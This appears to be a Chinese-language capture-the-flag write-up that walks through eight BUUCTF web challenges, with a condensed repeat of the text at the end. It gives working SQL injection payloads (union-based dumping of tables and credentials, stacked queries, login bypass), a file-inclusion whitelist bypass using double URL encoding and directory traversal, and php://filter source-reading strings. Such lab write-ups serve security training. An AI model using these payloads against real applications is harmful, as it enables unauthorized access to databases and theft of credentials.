buuctf Web 上
字数 1485 2025-08-24 10:10:13

Web安全CTF挑战解题教程

1. [HCTF 2018]WarmUp

漏洞类型

  • 文件包含漏洞
  • 白名单绕过

解题步骤

  1. 查看页面源码发现提示source.php

  2. 构造URL访问index.php?file=source.php获取源码

  3. 分析源码发现checkFile函数有四个关键判断:

    • 检查$page是否为字符串
    • 检查$page是否在白名单中(source.phphint.php)
    • 检查截取?前的部分是否在白名单中
    • 检查URL解码后截取?前的部分是否在白名单中
  4. 利用双重URL编码绕过:

    • ?两次编码为%253f
    • 构造payload:file=source.php?file=source.php%253f.ffffllllaaaagggg
  5. 访问hint.php获取提示:

    • 提示flag文件名ffffllllaaaagggg
    • 每个字符重复4次提示需要往上级目录翻四层
  6. 最终payload:

    http://url/index.php?file=source.php?ffffllllaaaagggg
    

关键点

  • 双重URL编码绕过检查
  • 目录遍历技巧

2. [极客大挑战 2019]EasySQL

漏洞类型

  • SQL注入

解题方法一

  1. 测试注入点:

    ?username=1'&password=2'  # 发现密码框存在注入
    
  2. 判断字段数:

    ?username=1&password=2' order by 3%23  # 确定3个字段
    
  3. 联合查询获取回显点:

    ?username=1&password=2' and 1=2 union select 1,2,3%23
    
  4. 获取flag:

    ?username=1&password=2' union select 1,2,flag from flag%23
    

解题方法二

  1. 万能密码登录:
    ?username=admin' or '1'='1&password=admin' or '1'='1
    

关键点

  • 字符型注入
  • 联合查询技巧

3. [强网杯 2019]随便注

漏洞类型

  • 堆叠注入
  • 表名/列名修改

解题步骤

  1. 判断注入类型:

    1' #  # 确认字符型注入
    
  2. 判断字段数:

    1' order by 3 #  # 确认2个字段
    
  3. 发现过滤规则:

    1' union select 1,2 #  # 显示过滤了select等关键词
    
  4. 堆叠注入查询:

    1';show databases; #  # 成功执行
    1';show tables; #  # 发现words和1919810931114514表
    
  5. 查询表结构:

    0';desc `1919810931114514`; #  # 发现flag字段
    
  6. 修改表结构绕过过滤:

    0';rename table words to words1;rename table 1919810931114514 to words;alter table words change flag id varchar(100);#
    
  7. 获取flag:

    1' or 1=1#
    

关键点

  • 堆叠注入利用
  • 表结构修改技巧

4. [极客大挑战 2019]Havefun

漏洞类型

  • 简单代码审计

解题步骤

  1. 查看页面源码发现PHP代码:

    if($_GET['cat'] == 'dog') {
        echo 'Syc{cat_cat_cat_cat}';
    }
    
  2. 构造payload:

    ?cat=dog
    

5. [SUCTF 2019]EasySQL

漏洞类型

  • 堆叠注入
  • SQL模式修改

解题方法一

  1. 判断后端查询逻辑:

    select $_POST[query] || flag from flag
    
  2. 修改SQL模式:

    1;set sql_mode=PIPES_AS_CONCAT;select 1
    

解题方法二

  1. 直接构造:
    *,1
    

关键点

  • ||运算符在不同SQL模式下的行为
  • 堆叠注入利用

6. [ACTF2020 新生赛]Include

漏洞类型

  • 文件包含
  • PHP伪协议

解题步骤

  1. 发现文件包含参数:

    ?file=flag.php
    
  2. 使用filter伪协议读取源码:

    ?file=php://filter/read=convert.base64-encode/resource=flag.php
    
  3. 解码获取flag

关键点

  • PHP伪协议利用
  • Base64编码绕过执行

7. [极客大挑战 2019]Secret File

漏洞类型

  • 文件包含
  • PHP伪协议

解题步骤

  1. 查看源码发现Archive_room.php

  2. 访问后找到action.php(快速跳转到end.php)

  3. 使用BurpSuite拦截action.php响应

  4. 发现secr3t.php,存在文件包含漏洞

  5. 使用filter伪协议读取flag.php

    /secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
    
  6. 解码获取flag

关键点

  • 页面跳转拦截
  • 文件包含漏洞利用

8. [极客大挑战 2019]LoveSQL

漏洞类型

  • SQL注入

解题步骤

  1. 万能密码登录:

    username:1' or 1=1#
    password:123
    
  2. 判断字段数:

    /check.php?username=admin' order by 3%23&password=1
    
  3. 联合查询获取回显点:

    /check.php?username=1' union select 1,2,3%23&password=1
    
  4. 查询数据库信息:

    /check.php?username=1' union select 1,database(),version()%23&password=1
    
  5. 爆表名:

    /check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
    
  6. 爆字段名:

    /check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1
    
  7. 获取数据:

    /check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
    

关键点

  • 联合注入完整流程
  • 信息模式表利用

通用技巧总结

  1. 文件包含漏洞

    • 使用php://filter伪协议读取源码
    • 双重编码绕过检查
    • 目录遍历技巧
  2. SQL注入

    • 字符型与数字型判断
    • 联合注入完整流程
    • 堆叠注入利用
    • 表结构修改技巧
  3. 信息收集

    • 始终检查页面源码
    • 拦截快速跳转页面
    • 使用BurpSuite等工具辅助
  4. 编码技巧

    • URL编码
    • Base64编码
    • 双重编码绕过
  5. 黑名单绕过

    • 修改SQL模式
    • 重命名表/列
    • 使用替代语法
Web安全CTF挑战解题教程 1. [ HCTF 2018 ]WarmUp 漏洞类型 文件包含漏洞 白名单绕过 解题步骤 查看页面源码发现提示 source.php 构造URL访问 index.php?file=source.php 获取源码 分析源码发现 checkFile 函数有四个关键判断: 检查 $page 是否为字符串 检查 $page 是否在白名单中( source.php 或 hint.php ) 检查截取 ? 前的部分是否在白名单中 检查URL解码后截取 ? 前的部分是否在白名单中 利用双重URL编码绕过: ? 两次编码为 %253f 构造payload: file=source.php?file=source.php%253f.ffffllllaaaagggg 访问 hint.php 获取提示: 提示flag文件名 ffffllllaaaagggg 每个字符重复4次提示需要往上级目录翻四层 最终payload: 关键点 双重URL编码绕过检查 目录遍历技巧 2. [ 极客大挑战 2019 ]EasySQL 漏洞类型 SQL注入 解题方法一 测试注入点: 判断字段数: 联合查询获取回显点: 获取flag: 解题方法二 万能密码登录: 关键点 字符型注入 联合查询技巧 3. [ 强网杯 2019 ]随便注 漏洞类型 堆叠注入 表名/列名修改 解题步骤 判断注入类型: 判断字段数: 发现过滤规则: 堆叠注入查询: 查询表结构: 修改表结构绕过过滤: 获取flag: 关键点 堆叠注入利用 表结构修改技巧 4. [ 极客大挑战 2019 ]Havefun 漏洞类型 简单代码审计 解题步骤 查看页面源码发现PHP代码: 构造payload: 5. [ SUCTF 2019 ]EasySQL 漏洞类型 堆叠注入 SQL模式修改 解题方法一 判断后端查询逻辑: 修改SQL模式: 解题方法二 直接构造: 关键点 || 运算符在不同SQL模式下的行为 堆叠注入利用 6. [ ACTF2020 新生赛 ]Include 漏洞类型 文件包含 PHP伪协议 解题步骤 发现文件包含参数: 使用filter伪协议读取源码: 解码获取flag 关键点 PHP伪协议利用 Base64编码绕过执行 7. [ 极客大挑战 2019 ]Secret File 漏洞类型 文件包含 PHP伪协议 解题步骤 查看源码发现 Archive_room.php 访问后找到 action.php (快速跳转到 end.php ) 使用BurpSuite拦截 action.php 响应 发现 secr3t.php ,存在文件包含漏洞 使用filter伪协议读取 flag.php : 解码获取flag 关键点 页面跳转拦截 文件包含漏洞利用 8. [ 极客大挑战 2019 ]LoveSQL 漏洞类型 SQL注入 解题步骤 万能密码登录: 判断字段数: 联合查询获取回显点: 查询数据库信息: 爆表名: 爆字段名: 获取数据: 关键点 联合注入完整流程 信息模式表利用 通用技巧总结 文件包含漏洞 : 使用 php://filter 伪协议读取源码 双重编码绕过检查 目录遍历技巧 SQL注入 : 字符型与数字型判断 联合注入完整流程 堆叠注入利用 表结构修改技巧 信息收集 : 始终检查页面源码 拦截快速跳转页面 使用BurpSuite等工具辅助 编码技巧 : URL编码 Base64编码 双重编码绕过 黑名单绕过 : 修改SQL模式 重命名表/列 使用替代语法